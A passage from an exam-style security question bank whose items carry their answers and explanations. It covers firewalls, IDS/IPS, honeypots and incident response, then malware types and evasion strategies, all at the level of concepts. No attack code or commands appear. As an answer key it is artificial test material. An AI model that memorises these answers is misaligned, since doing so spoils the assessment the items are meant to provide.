- B. Intrusion deflection with a honeypot
- C. Intrusion deterrence only
- D. Static NAT translation

Answer: B. Intrusion deflection with a honeypot

Why: A honeypot draws attackers into a monitored decoy system.

Source page reference: p. 44

Q149 | Single answer

What is intrusion deterrence?

- A. Making a system appear less attractive to attack by signaling that activity may be noticed and acted upon
- B. Automatically granting access to every user
- C. Disabling visible security controls
- D. Replacing incident response with backups

Answer: A. Making a system appear less attractive to attack by signaling that activity may be noticed and acted upon

Why: Deterrence attempts to discourage attacks by increasing the perceived likelihood of detection and response.

Source page reference: p. 45

Q150 | Scenario

A company prominently announces that systems are monitored and that suspicious actions may trigger investigation. Which strategy is being used?

- A. Intrusion deflection with a honeypot
- B. Static source routing
- C. NAT traversal
- D. Intrusion deterrence

Answer: D. Intrusion deterrence

Why: Visible monitoring can discourage some attackers.

Source page reference: p. 45

Q151 | Comparison

Which statement correctly distinguishes intrusion deflection from intrusion deterrence?

- A. Both terms mean identical packet-filter rules
- B. Deterrence requires a honeypot with production data
- C. Deflection lures an attacker into a decoy; deterrence tries to make the real target less appealing
- D. Deflection always blocks an IP; deterrence always stores backups

Answer: C. Deflection lures an attacker into a decoy; deterrence tries to make the real target less appealing
Why: The strategies influence attacker behavior in different ways.

Source page reference: pp. 44-45

Q152 | Select all that apply

Which tools are reasonable open-source options for network security monitoring or IDS/IPS work?

- A. Snort
- B. Zeek Network Security Monitor
- C. A spreadsheet application with no security telemetry
- D. A photo editor
- E. Suricata

Answer: A, B, E. Suricata; Snort; Zeek Network Security Monitor
Why: Suricata, Snort, and Zeek are open-source security-monitoring tools.

Source page reference: p. 46

Q153 | Scenario

A security team must choose among Snort, Suricata, and Zeek. What is the most appropriate decision criterion?

- A. Select the tool that best fits the system context and requirements
- B. Always select the alphabetically first tool
- C. Choose randomly because all deployments are identical
- D. Use no monitoring because firewalls are sufficient

Answer: A. Select the tool that best fits the system context and requirements
Why: Monitoring-tool selection depends on the environment and goals.

Source page reference: p. 46

Q154 | Select all that apply

Which activities belong to a mature intrusion-monitoring process?

- A. Discard all context after the first alert
- B. Isolate security-relevant events
- C. Fuse information from different sources
- D. Analyze service and firewall logs
- E. Capture network traffic
- F. Monitor system state
- G. Act on analytics where appropriate

Answer: B, C, D, E, F, G. Isolate security-relevant events; Fuse information from different sources; Analyze service and firewall logs; Capture network traffic; Monitor system state; Act on analytics where appropriate
Why: Effective monitoring combines several sources and supports proportionate action.

Source page reference: p. 47

Q155 | Assertion-reason

Assertion: Combining firewall logs, service logs, network capture, and host statistics can improve detection quality.

Reason: Different sources provide complementary evidence about suspicious behavior.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Information fusion gives a more complete picture than any one signal.

Source page reference: p. 47

Q156 | True / False

A honeypot should contain seemingly realistic decoy information rather than irreplaceable real secrets.

- A. Only when NAT is enabled
- B. True
- C. False
- D. Only for application proxies

Answer: B. True

Why: The goal is to lure and observe attackers without placing real assets at unnecessary risk.

Source page reference: p. 44

Q157 | True / False

Intrusion deterrence is intended to make the system appear more attractive to attackers.

- A. False
- B. True
- C. Only for application proxies
- D. Only when NAT is enabled

Answer: A. False

Why: Deterrence attempts to make the system less appealing by signaling monitoring and response.

Source page reference: p. 45

11. Immediate incident response, forensics, and recovery

14 questions. Answers appear immediately below each item.

Q158 | Single answer

What should an incident-response team establish first when an alert arrives?

- A. Which public statement to issue before checking facts
- B. Which backups to delete
- C. How to disable every security log
- D. Whether the information is correct and the incident is real

Answer: D. Whether the information is correct and the incident is real

Why: Verification prevents the team from acting on incorrect information.

Source page reference: p. 49

Q159 | Single answer

What does interpretation mean during immediate incident response?

- A. Ignoring evidence to minimize downtime
- B. Publishing every log externally
- C. Determining what actually happened
- D. Automatically restoring every system immediately

Answer: C. Determining what actually happened

Why: Interpretation turns raw alerts into an understanding of events.

Source page reference: p. 49

Q160 | Single answer

Why must responders determine the scope of an incident?

- A. To guarantee that no further investigation is needed
- B. To understand actual and possible consequences
- C. To avoid classifying the incident
- D. To disable communication with stakeholders

Answer: B. To understand actual and possible consequences

Why: Scope assessment guides containment, prioritization, and recovery.

Source page reference: p. 49

Q161 | Single answer

Why is classification and prioritization important during incident response?

- A. Different incidents require different urgency and actions
- B. Every event should receive exactly the same response
- C. Classification replaces evidence collection
- D. Low-impact spam always requires full rebuild of every server

Answer: A. Different incidents require different urgency and actions

Why: A spam message, a scan, and a compromised system require different responses.

Source page reference: p. 49

Q162 | Scenario

A monitoring system reports a suspicious event. The team confirms it, determines that a server was compromised, estimates the possible lateral movement, and sets containment as the highest priority. Which incident-response activities occurred?

- A. Only backup restoration
- B. Only intrusion deterrence
- C. Only NAT configuration
- D. Verification, interpretation, scope assessment, and prioritization

Answer: D. Verification, interpretation, scope assessment, and prioritization

Why: The team validated the report, interpreted events, scoped impact, and prioritized action.

Source page reference: p. 49

Q163 | Single answer

What is the purpose of digital forensics after an incident?

- A. To guarantee that services stay offline forever
- B. To replace every firewall rule with allow-all
- C. To determine what happened and preserve evidence appropriately
- D. To erase all logs immediately

Answer: C. To determine what happened and preserve evidence appropriately

Why: Forensics investigates the cause and timeline while considering evidence preservation.

Source page reference: p. 50

Q164 | Single answer

Which recovery consideration is essential when restoring operations?

- A. Avoid communicating with business stakeholders
- B. Prioritize systems, use suitable backups, and plan the order of services returning online
- C. Restore every system simultaneously without testing
- D. Delete all evidence before rebuilding

Answer: B. Prioritize systems, use suitable backups, and plan the order of services returning online

Why: Recovery requires a controlled rebuild plan and priorities.

Source page reference: p. 50

Q165 | Comparison

Why can forensic investigation and rapid restoration conflict?

- A. Preserving evidence can delay changes or rebuilds needed to restore service
- B. Backups cannot be used after any incident
- C. Forensics always requires disabling all communication permanently
- D. Restoration automatically destroys every piece of evidence

Answer: A. Preserving evidence can delay changes or rebuilds needed to restore service

Why: Responders must balance evidence preservation with business continuity.

Source page reference: p. 50

Q166 | Select all that apply

Which stakeholders may need communication during or after a significant incident?

- A. Internal teams
- B. Business partners
- C. Investors
- D. Customers
- E. Only the attacker

Answer: A, B, C, D. Internal teams; Business partners; Investors; Customers

Why: Incident communication may involve several internal and external stakeholders.

Source page reference: p. 50

Q167 | Scenario

A responder immediately reformats a compromised server before collecting volatile evidence or recording the system state. What risk has been introduced?

- A. The firewall will gain application-layer awareness
- B. The VPN will stop using IPSec
- C. Important forensic evidence may be destroyed
- D. The IDS will become more accurate automatically

Answer: C. Important forensic evidence may be destroyed

Why: Recovery actions can damage evidence if evidence preservation is not considered first.

Source page reference: p. 50

Q168 | Scenario

A security team restores a low-priority test server before the customer-facing service and the authentication system, even though customers cannot access the platform. What incident-recovery principle was neglected?

- A. Static packet filtering
- B. Recovery prioritization based on business impact and dependencies
- C. Intrusion deterrence
- D. Source routing

Answer: B. Recovery prioritization based on business impact and dependencies

Why: Restoration should follow a plan based on criticality and dependencies.

Source page reference: p. 50

Q169 | Assertion-reason

Assertion: Incident response should be planned before a breach occurs.

Reason: During an incident, teams must rapidly verify facts, interpret events, determine scope, prioritize actions, preserve evidence, restore services, and communicate.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Prepared procedures improve decision-making under time pressure.

Source page reference: pp. 48-50

Q170 | True / False

Forensics and restoration objectives can create competing pressures during incident handling.

- A. False
- B. Only for application proxies
- C. Only when NAT is enabled
- D. True

Answer: D. True

Why: Evidence preservation and rapid recovery can require different timing and actions.

Source page reference: p. 50

Q171 | EXCEPT / NOT

Immediate incident response includes all of the following EXCEPT:

- A. Assessing incident scope
- B. Classifying and prioritizing the response
- C. Assuming every alert is correct without verification
- D. Interpreting what happened

Answer: C. Assuming every alert is correct without verification

Why: Verification is an essential early step.

Source page reference: p. 49

12. Integrated exam scenarios

31 questions. Answers appear immediately below each item.

Q172 | Mini case study

An Internet-facing server must be reachable by customers, but compromise of that server should not immediately expose internal databases. Which design is best?

- A. Use a default-allow rule for every destination
- B. Place the server in a DMZ and restrict traffic between the DMZ and the protected network
- C. Place the server directly inside the database subnet
- D. Disable the internal firewall

Answer: B. Place the server in a DMZ and restrict traffic between the DMZ and the protected network
Why: A DMZ and internal filtering create a security boundary around public services.

Source page reference: pp. 33, 35

Q173 | Mini case study

A firewall must reject a reply packet that does not belong to any active flow. Which architecture is required?

- A. Stateful packet inspection
- B. A stateless packet filter with no session tracking
- C. A honeypot only
- D. A personal firewall with logging disabled

Answer: A. Stateful packet inspection
Why: Stateful inspection consults a state table to validate packet context.

Source page reference: p. 18

Q174 | Mini case study

A web security policy must reject requests for specific URLs while allowing other requests to the same server and port. Which control is the best fit?

- A. Static packet filtering based only on port 80
- B. Circuit-level relay with no content inspection
- C. ICMP filter
- D. Application-level HTTP proxy

Answer: D. Application-level HTTP proxy
Why: URL filtering requires application-layer understanding.

Source page reference: p. 27

Q175 | Mini case study

An IDS detects an unfamiliar pattern because it differs from the normal baseline, then automatically blocks the source IP. Which combination is present?

- A. Static NAT with no monitoring
- B. Circuit-level proxying only
- C. Anomaly detection with reactive IPS behavior
- D. Misuse detection with passive reporting only

Answer: C. Anomaly detection with reactive IPS behavior
Why: The alert is anomaly-based and the automated block is an IPS reaction.

Source page reference: pp. 40-41

Q176 | Mini case study

A decoy database with fake records is deliberately exposed and monitored so the team can study attacker behavior. What is the primary strategy?

- A. Host-based packet filtering only
- B. Intrusion deflection using a honeypot
- C. Intrusion deterrence only
- D. Default allow

Answer: B. Intrusion deflection using a honeypot

Why: A monitored decoy lures attackers away from real assets and supports learning.

Source page reference: p. 44

Q177 | Mini case study

A packet arrives from the Internet claiming to have an internal source address. What should a boundary filter do?

- A. Reject it as a likely spoofed packet
- B. Trust it because the address appears internal
- C. Forward it without logging
- D. Convert it into a VPN tunnel automatically

Answer: A. Reject it as a likely spoofed packet

Why: Source-address validation helps block spoofing.

Source page reference: p. 17

Q178 | Mini case study

A suspicious IP is blocked after weak preliminary signals, and a legitimate customer loses access. Which risk materialized?

- A. NAT exposed every internal address
- B. A honeypot leaked real secrets automatically
- C. Application caching failed
- D. Preemptive blocking caused a denial-of-service effect for a legitimate user

Answer: D. Preemptive blocking caused a denial-of-service effect for a legitimate user

Why: Banishment vigilance can incorrectly block legitimate activity.

Source page reference: p. 43

Q179 | Mini case study

A responder wants to rebuild a server immediately, while an investigator wants to preserve volatile evidence. What must the team do?

- A. Always keep every service offline indefinitely
- B. Disable communication with stakeholders
- C. Balance restoration priorities against forensic preservation requirements
- D. Always restore immediately without documenting anything

Answer: C. Balance restoration priorities against forensic preservation requirements

Why: Forensics and recovery goals can conflict and require an explicit decision.

Source page reference: p. 50

Q180 | Mini case study

A company relies only on its perimeter firewall. Employees frequently work from untrusted networks. Which additional control best improves device protection outside the office?

- A. A DNS-only honeypot
- B. Host-based firewalls on endpoints
- C. A broader allow-all ACL
- D. Removing endpoint logging

Answer: B. Host-based firewalls on endpoints

Why: Host-resident controls provide protection independent of topology.

Source page reference: p. 31

Q181 | Mini case study

A firewall must be fast and application-independent while still distinguishing legitimate return packets from unsolicited packets. Which option fits best?

- A. Stateful packet filter
- B. Full application proxy for every protocol
- C. Static filter with no connection tracking
- D. Honeypot

Answer: A. Stateful packet filter

Why: Stateful inspection tracks flows while remaining relatively efficient and application-independent.

Source page reference: pp. 18-19

Q182 | Definition matching

Which term best matches this description: Blocks traffic unless explicitly permitted?

- A. default allow
- B. application-level gateway
- C. distributed firewall
- D. default deny

Answer: D. default deny

Why: Default deny is the correct match for the description.

Source page reference: pp. 8, 14

Q183 | Definition matching

Which term best matches this description: Permits traffic unless explicitly prohibited?

- A. bastion host
- B. HIDS
- C. default allow
- D. static packet filter

Answer: C. default allow

Why: Default allow is the correct match for the description.

Source page reference: p. 8

Q184 | Definition matching

Which term best matches this description: Uses non-dynamic administrator rules to evaluate packet metadata?

- A. NIDS
- B. static packet filter
- C. stateful packet filter
- D. host-based firewall

Answer: B. static packet filter

Why: Static packet filter is the correct match for the description.

Source page reference: pp. 10-11

Q185 | Definition matching

Which term best matches this description: Tracks sessions and validates packets in context?

- A. stateful packet filter
- B. circuit-level gateway
- C. personal firewall
- D. LIDS

Answer: A. stateful packet filter

Why: Stateful packet filter is the correct match for the description.

Source page reference: p. 18

Q186 | Definition matching

Which term best matches this description: Validates transport sessions and relays allowed circuits?

- A. application-level gateway
- B. DMZ
- C. misuse detection
- D. circuit-level gateway

Answer: D. circuit-level gateway

Why: Circuit-level gateway is the correct match for the description.

Source page reference: pp. 20-24

Q187 | Definition matching

Which term best matches this description: Uses protocol-aware proxy logic to validate application requests?

- A. VPN
- B. anomaly detection
- C. application-level gateway
- D. bastion host

Answer: C. application-level gateway

Why: Application-level gateway is the correct match for the description.

Source page reference: pp. 25-29

Q188 | Definition matching

Which term best matches this description: Hardened exposed host that enforces policy or provides carefully controlled services?

- A. IPS
- B. bastion host
- C. host-based firewall
- D. distributed firewall

Answer: B. bastion host

Why: Bastion host is the correct match for the description.

Source page reference: p. 30

Q189 | Definition matching

Which term best matches this description: Firewall software protecting an individual host?

- A. host-based firewall
- B. personal firewall
- C. HIDS
- D. preemptive blocking

Answer: A. host-based firewall

Why: Host-based firewall is the correct match for the description.

Source page reference: p. 31

Q190 | Definition matching

Which term best matches this description: Focused workstation or small-router firewall controlling local traffic?

- A. DMZ
- B. NIDS
- C. honeypot
- D. personal firewall

Answer: D. personal firewall

Why: Personal firewall is the correct match for the description.

Source page reference: p. 32

Q191 | Definition matching

Which term best matches this description: Separate network zone for exposed services?

- A. LIDS
- B. intrusion deterrence
- C. DMZ
- D. VPN

Answer: C. DMZ

Why: Dmz is the correct match for the description.

Source page reference: p. 33

Q192 | Definition matching

Which term best matches this description: Secure logical connection across a shared or public network?

- A. default deny
- B. VPN
- C. distributed firewall
- D. misuse detection

Answer: B. VPN

Why: Vpn is the correct match for the description.

Source page reference: p. 34

Q193 | Definition matching

Which term best matches this description: Multiple enforcement points including boundary and host-resident controls?

- A. distributed firewall
- B. HIDS
- C. anomaly detection
- D. default allow

Answer: A. distributed firewall

Why: Distributed firewall is the correct match for the description.

Source page reference: p. 35

Q194 | Definition matching

Which term best matches this description: IDS focused on host-level information?

- A. NIDS
- B. IPS
- C. static packet filter
- D. HIDS

Answer: D. HIDS

Why: Hids is the correct match for the description.

Source page reference: p. 39

Q195 | Definition matching

Which term best matches this description: IDS focused on captured network traffic?

- A. preemptive blocking
- B. stateful packet filter
- C. NIDS
- D. LIDS

Answer: C. NIDS

Why: Nids is the correct match for the description.

Source page reference: p. 39

Q196 | Definition matching

Which term best matches this description: IDS focused on collected logging?

- A. circuit-level gateway
- B. LIDS
- C. misuse detection
- D. honeypot

Answer: B. LIDS

Why: Lids is the correct match for the description.

Source page reference: p. 39

Q197 | Definition matching

Which term best matches this description: Detection based on known attack signatures?

- A. misuse detection
- B. anomaly detection
- C. intrusion deterrence
- D. application-level gateway

Answer: A. misuse detection

Why: Misuse detection is the correct match for the description.

Source page reference: p. 40

Q198 | Definition matching

Which term best matches this description: Detection based on deviation from learned normal behavior?

- A. IPS
- B. default deny
- C. bastion host
- D. anomaly detection

Answer: D. anomaly detection

Why: Anomaly detection is the correct match for the description.

Source page reference: p. 40

Q199 | Definition matching

Which term best matches this description: Reactive system capable of taking protective action?

- A. default allow
- B. host-based firewall
- C. IPS
- D. preemptive blocking

Answer: C. IPS

Why: Ips is the correct match for the description.

Source page reference: p. 41

Q200 | Definition matching

Which term best matches this description: Blocks a user or IP based on signs of an impending threat?

- A. personal firewall
- B. preemptive blocking
- C. honeypot
- D. static packet filter

Answer: B. preemptive blocking

Why: Preemptive blocking is the correct match for the description.

Source page reference: p. 43

Q201 | Definition matching

Which term best matches this description: Monitored decoy environment with realistic-looking fake assets?

- A. honeypot
- B. intrusion deterrence
- C. stateful packet filter
- D. DMZ

Answer: A. honeypot

Why: Honeypot is the correct match for the description.

Source page reference: p. 44

Q202 | Definition matching

Which term best matches this description: Attempts to discourage attacks by signaling monitoring and response?

- A. default deny
- B. circuit-level gateway
- C. VPN
- D. intrusion deterrence

Answer: D. intrusion deterrence

Why: Intrusion deterrence is the correct match for the description.

Source page reference: p. 45

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Firewall and IDS configuration changes must be applied only in authorized environments and under an approved change process.

Lecture 5 - Malware and SQL injection

Cleaned exam-style MCQ question bank

168 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test concepts, defensive reasoning, secure coding, and applied scenarios. Administrative details, slide-order recall, screenshot trivia, product-name trivia, and unsafe operational instructions are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Malware fundamentals: viruses, worms, and propagation	18
2. Virus types and evasion strategies	22
3. Malware variants, hoaxes, and safe analysis	12
4. Antivirus, prevention, and defense-in-depth	14
5. Ransomware, Trojan horses, spyware, and rootkits	20
6. Relational databases and SQL basics	13
7. SQL injection mechanisms, impact, and code review	19
8. SQL injection mitigation and secure database design	14
9. Web-assessment tools and authorized testing	8
10. Integrated scenarios and misconception checks	13
11. Rapid revision: applied concept identification	15
Total	168

Searchable quick reference

Item	Meaning
Virus	Often attaches to a file, self-replicates, and commonly relies on human action
Worm	Can self-replicate without human action
Macro virus	Uses macros in office documents
Multi-partite	Uses multiple attack mechanisms
Armored	Uses encoding or obfuscation to hinder analysis
Memory-resident	Installs itself and remains active in RAM
Sparse infector	Reduces infection frequency for stealth
Polymorphic	Changes form to reduce stable signature matching
Ransomware	Denies access to data or systems and applies extortion pressure
Trojan horse	Appears benign while performing hidden malicious actions
Spyware	Collects information such as browsing data or keystrokes
Rootkit	Provides privileged control and conceals activity
Signature detection	Matches known malicious patterns
Heuristics	Looks for suspicious behavior or code fragments
SQL injection	Attacker-controlled input changes the meaning of a database query
Prepared statement	Separates SQL structure from bound data values
Least privilege	Limits application database permissions to required operations
Dirb	Dictionary-based website-content enumeration
Nikto	Website security-issue scanner
sqlmap	Authorized SQL-injection assessment tool

1. Malware fundamentals: viruses, worms, and propagation

18 questions. Answers appear immediately below each item.

Q001 | Single answer

Which statement best distinguishes a computer virus from a worm?

- A. A virus commonly relies on human action to spread, whereas a worm can propagate without human action
- B. A virus can never replicate, whereas a worm always modifies files
- C. A worm only spreads through USB devices, whereas a virus only spreads through email
- D. A virus is always harmless, whereas a worm always encrypts files

Answer: A. A virus commonly relies on human action to spread, whereas a worm can propagate without human action

Why: The lecture distinguishes them by the need for human action: viruses often require it, while worms can self-propagate.

Source page reference: p. 3

Q002 | Scenario

A malicious program attaches itself to a document and spreads after recipients open the file. Which classification is most appropriate?

- A. Circuit-level gateway
- B. Rootkit only
- C. SQL injection
- D. Computer virus

Answer: D. Computer virus

Why: A virus often attaches to a file and propagates when users take an action such as opening it.

Source page reference: pp. 3-5

Q003 | Scenario

A malicious program scans reachable systems and replicates automatically without waiting for users to open files. Which classification fits best?

- A. Static packet filter
- B. Trojan wrapper only
- C. Worm
- D. Macro-only document template

Answer: C. Worm

Why: Self-replication without human action is characteristic of a worm.

Source page reference: p. 3

Q004 | Select all that apply

Which channels can contribute to malware propagation?

- A. Malicious website downloads
- B. Prepared SQL statements
- C. Email attachments
- D. Network storage
- E. USB devices

Answer: A, C, D, E. Email attachments; Network storage; USB devices; Malicious website downloads

Why: Email, networks, removable media, and malicious downloads can spread malware; prepared SQL statements are a defensive programming technique.

Source page reference: pp. 4-6

Q005 | Scenario

An organization permits broad write access to shared network storage. Malware placed in a trusted share is executed by multiple users. Which weakness most directly enabled propagation?

- A. Excessive trust in network storage
- B. A primary key constraint
- C. A stateful firewall table
- D. A cryptographic signature on the clean file

Answer: A. Excessive trust in network storage

Why: Network propagation can exploit trust relationships in shared storage.

Source page reference: p. 6

Q006 | Single answer

Why are email attachments a common malware delivery mechanism?

- A. They automatically convert every message into a database query
- B. They prevent signature scanners from being updated
- C. They require a VPN tunnel before execution
- D. They can persuade users to execute content delivered through widely used mail systems

Answer: D. They can persuade users to execute content delivered through widely used mail systems

Why: Attachments are a practical route because email is widespread and users may execute delivered content.

Source page reference: p. 5

Q007 | Scenario

A user downloads an apparently useful installer from an untrusted website and runs it. Which factor most directly enabled the infection?

- A. NAT address translation
- B. Circuit-level session validation
- C. End-user negligence during website delivery
- D. A SQL primary key

Answer: C. End-user negligence during website delivery

Why: Website delivery commonly depends on a user downloading and running malicious software.

Source page reference: p. 6

Q008 | Single answer

Which statement about email-based propagation is most accurate?

- A. Only worms, never viruses, can use email
- B. Some malware can include its own email-sending engine
- C. Email propagation is impossible unless a database server is exposed
- D. Every mail protocol originally required cryptographic signatures

Answer: B. Some malware can include its own email-sending engine

Why: The lecture notes that some malware carries its own email engine.

Source page reference: p. 5

Q009 | Single answer

Which control most directly reduces the risk from suspicious email attachments?

- A. Do not open questionable attachments
- B. Enable string concatenation in login queries
- C. Place all servers on the public Internet
- D. Disable antivirus updates

Answer: A. Do not open questionable attachments

Why: Avoiding questionable attachments is a basic prevention measure.

Source page reference: p. 17

Q010 | EXCEPT / NOT

All of the following can support malware propagation EXCEPT:

- A. Opening malicious email attachments
- B. Executing downloaded software from an untrusted website
- C. Using infected removable storage
- D. Using parameterized SQL queries

Answer: D. Using parameterized SQL queries

Why: Parameterized queries mitigate SQL injection; they are not a malware propagation mechanism.

Source page reference: pp. 4-6, 41

Q011 | True / False

A worm can spread without requiring a user to manually open an infected attachment.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True

Why: A defining distinction is that a worm can self-replicate without human action.

Source page reference: p. 3

Q012 | True / False

A virus must always propagate only through email.

- A. Only for encrypted traffic
- B. False
- C. True
- D. Only when a firewall is disabled

Answer: B. False

Why: Viruses may propagate through email, networks, websites, or removable media.

Source page reference: pp. 4-6

Q013 | Assertion-reason

Assertion: USB devices can create a propagation risk similar to shared network storage.

Reason: Both mechanisms can introduce malicious software into trusted environments.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Removable devices and network shares can both transport malware into an environment.

Source page reference: p. 6

Q014 | Comparison

Which comparison is correct?

- A. Email propagation always uses SQL, while website delivery always uses DNS
- B. Email delivery requires no user interaction in every case, while website delivery can never involve user interaction
- C. Both mechanisms are identical to prepared statements
- D. Email propagation often relies on attachments or covert sending, while website delivery often relies on users downloading malicious software

Answer: D. Email propagation often relies on attachments or covert sending, while website delivery often relies on users downloading malicious software

Why: The routes differ operationally, although both may depend on user behavior.

Source page reference: pp. 5-6

Q015 | Scenario

A malware sample is copied to a shared folder because users assume files in that location are safe. What security design lesson follows?

- A. Only encryption keys need patching
- B. SQL error messages should be more detailed
- C. Trust relationships should be minimized and monitored
- D. Every shared folder should be exposed publicly

Answer: C. Trust relationships should be minimized and monitored

Why: Trusted storage can become a propagation path.

Source page reference: p. 6

Q016 | Scenario

Which behavior is most consistent with a file-attaching virus?

- A. It only validates database rows
- B. It inserts itself into or accompanies a file and spreads when that file is used
- C. It only blocks IP addresses before an intrusion
- D. It only monitors logs without changing files

Answer: B. It inserts itself into or accompanies a file and spreads when that file is used

Why: Viruses often attach to files and depend on execution or opening.

Source page reference: p. 3

Q017 | Scenario

Which propagation route is most directly associated with infected removable media?

- A. USB device transfer
- B. Prepared statement binding
- C. SOCKS proxy validation
- D. DNS response caching

Answer: A. USB device transfer

Why: Removable media can carry malicious files between systems.

Source page reference: p. 6

Q018 | Scenario

A malicious attachment is opened by a user, after which the program emails copies to contacts. Which combination best describes the event?

- A. Static filtering followed by SQL sanitization
- B. VPN tunneling followed by NAT translation
- C. Host discovery followed by anomaly learning
- D. Human-triggered execution followed by email propagation

Answer: D. Human-triggered execution followed by email propagation

Why: The infection begins with human action and then uses email as its delivery channel.

Source page reference: pp. 3, 5

2. Virus types and evasion strategies

22 questions. Answers appear immediately below each item.

Q019 | Single answer

Which description best matches Macro virus?

- A. VPN tunneling followed by NAT translation
- B. Host discovery followed by anomaly learning
- C. Uses macros in office documents
- D. Static filtering followed by SQL sanitization

Answer: C. Uses macros in office documents

Why: Macro virus is defined by this behavior.

Source page reference: p. 7

Q020 | Single answer

Which description best matches Multi-partite virus?

- A. Host discovery followed by anomaly learning
- B. Attacks a computer through multiple mechanisms, such as opening a backdoor and downloading files
- C. Static filtering followed by SQL sanitization
- D. VPN tunneling followed by NAT translation

Answer: B. Attacks a computer through multiple mechanisms, such as opening a backdoor and downloading files

Why: Multi-partite virus is defined by this behavior.

Source page reference: p. 8

Q021 | Single answer

Which description best matches Armored malware?

- A. Uses obfuscation or encoding to make analysis more difficult
- B. Static filtering followed by SQL sanitization
- C. VPN tunneling followed by NAT translation
- D. Host discovery followed by anomaly learning

Answer: A. Uses obfuscation or encoding to make analysis more difficult

Why: Armored malware is defined by this behavior.

Source page reference: p. 9

Q022 | Single answer

Which description best matches Memory-resident malware?

- A. Static filtering followed by SQL sanitization
- B. VPN tunneling followed by NAT translation
- C. Host discovery followed by anomaly learning
- D. Installs itself and remains active in RAM

Answer: D. Installs itself and remains active in RAM

Why: Memory-resident malware is defined by this behavior.

Source page reference: p. 10

Q023 | Single answer

Which description best matches Sparse infector?

- A. VPN tunneling followed by NAT translation
- B. Host discovery followed by anomaly learning
- C. Reduces infection frequency to improve stealth
- D. Static filtering followed by SQL sanitization

Answer: C. Reduces infection frequency to improve stealth

Why: Sparse infector is defined by this behavior.

Source page reference: p. 11

Q024 | Single answer

Which description best matches Polymorphic malware?

- A. Host discovery followed by anomaly learning
- B. Changes its form to reduce signature-based detection
- C. Static filtering followed by SQL sanitization
- D. VPN tunneling followed by NAT translation

Answer: B. Changes its form to reduce signature-based detection

Why: Polymorphic malware is defined by this behavior.

Source page reference: p. 12

Q025 | Scenario

A malicious office document runs embedded macros when opened. Which type is most directly illustrated?

- A. Macro virus
- B. Sparse infector
- C. Memory-resident malware
- D. Circuit-level gateway

Answer: A. Macro virus

Why: The malicious logic is delivered through document macros.

Source page reference: p. 7

Q026 | Scenario

A sample opens a backdoor, initiates a reverse shell, and downloads additional files. Which label fits best?

- A. Sparse infector
- B. Prepared statement
- C. Static packet filter
- D. Multi-partite virus

Answer: D. Multi-partite virus

Why: Multiple attack mechanisms indicate a multi-partite infection.

Source page reference: p. 8

Q027 | Scenario

A sample is Base64-encoded and heavily obfuscated to slow analysis. Which label fits best?

- A. Macro virus
- B. Worm only
- C. Armored malware
- D. Memory-resident malware

Answer: C. Armored malware

Why: Armoring makes analysis more difficult through obfuscation or encoding.

Source page reference: p. 9

Q028 | Scenario

A sample remains active in RAM after installation and continues to interfere with execution. Which type is most relevant?

- A. SQL batch statement
- B. Memory-resident malware
- C. Sparse infector
- D. Macro virus

Answer: B. Memory-resident malware

Why: Memory-resident malware persists in RAM.

Source page reference: p. 10

Q029 | Scenario

A sample infects only occasionally so that administrators are less likely to notice a pattern. Which type is most relevant?

- A. Sparse infector
- B. Multi-partite virus
- C. Memory-resident malware
- D. Trojan wrapper

Answer: A. Sparse infector

Why: Sparse infection reduces frequency to improve stealth.

Source page reference: p. 11

Q030 | Scenario

A malicious sample changes its representation between infections so that stable byte patterns are harder to match. Which type is most relevant?

- A. Macro virus
- B. Rootkit only
- C. Static packet filter
- D. Polymorphic malware

Answer: D. Polymorphic malware

Why: Polymorphism changes form to reduce detection by fixed signatures.

Source page reference: p. 12

Q031 | Select all that apply

Which behaviors can make malware harder to detect or analyze?

- A. Obfuscation
- B. Changing form between infections
- C. Reducing infection frequency
- D. Remaining active in memory
- E. Using prepared statements

Answer: A, B, C, D. Obfuscation; Changing form between infections; Reducing infection frequency; Remaining active in memory

Why: Armoring, polymorphism, sparse infection, and memory residency can complicate detection or analysis.

Source page reference: pp. 9-12

Q032 | EXCEPT / NOT

Each behavior below is associated with an evasion-oriented malware category EXCEPT:

- A. Infecting only occasionally
- B. Binding user input as a SQL parameter
- C. Changing form between infections
- D. Using obfuscation

Answer: B. Binding user input as a SQL parameter

Why: Parameter binding is a SQL-injection defense, not a malware evasion strategy.

Source page reference: pp. 9-12, 41

Q033 | True / False

A polymorphic sample may be harder for a scanner to detect using a single fixed signature.

- A. True
- B. False
- C. Only when a firewall is disabled
- D. Only for encrypted traffic

Answer: A. True

Why: Polymorphism changes the sample form and can frustrate signature matching.

Source page reference: p. 12

Q034 | True / False

A sparse infector attempts to maximize the frequency of infection events.

- A. True
- B. Only when a firewall is disabled
- C. Only for encrypted traffic
- D. False

Answer: D. False

Why: A sparse infector deliberately reduces attack frequency to improve stealth.

Source page reference: p. 11

Q035 | Assertion-reason

Assertion: A single malware sample may exhibit more than one virus-type characteristic.

Reason: Modern malicious software may combine multiple vectors and techniques.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The categories are useful descriptions, not necessarily mutually exclusive boxes.

Source page reference: p. 13

Q036 | Comparison

Which statement correctly distinguishes armored malware from polymorphic malware?

- A. There is no meaningful distinction
- B. Armored malware focuses on making analysis harder; polymorphic malware changes form to avoid stable detection patterns
- C. Armored malware always remains in RAM; polymorphic malware only uses USB drives
- D. Armored malware is a database defense; polymorphic malware is a firewall mode

Answer: B. Armored malware focuses on making analysis harder; polymorphic malware changes form to avoid stable detection patterns

Why: The categories overlap in evasive intent but describe different techniques.

Source page reference: pp. 9, 12

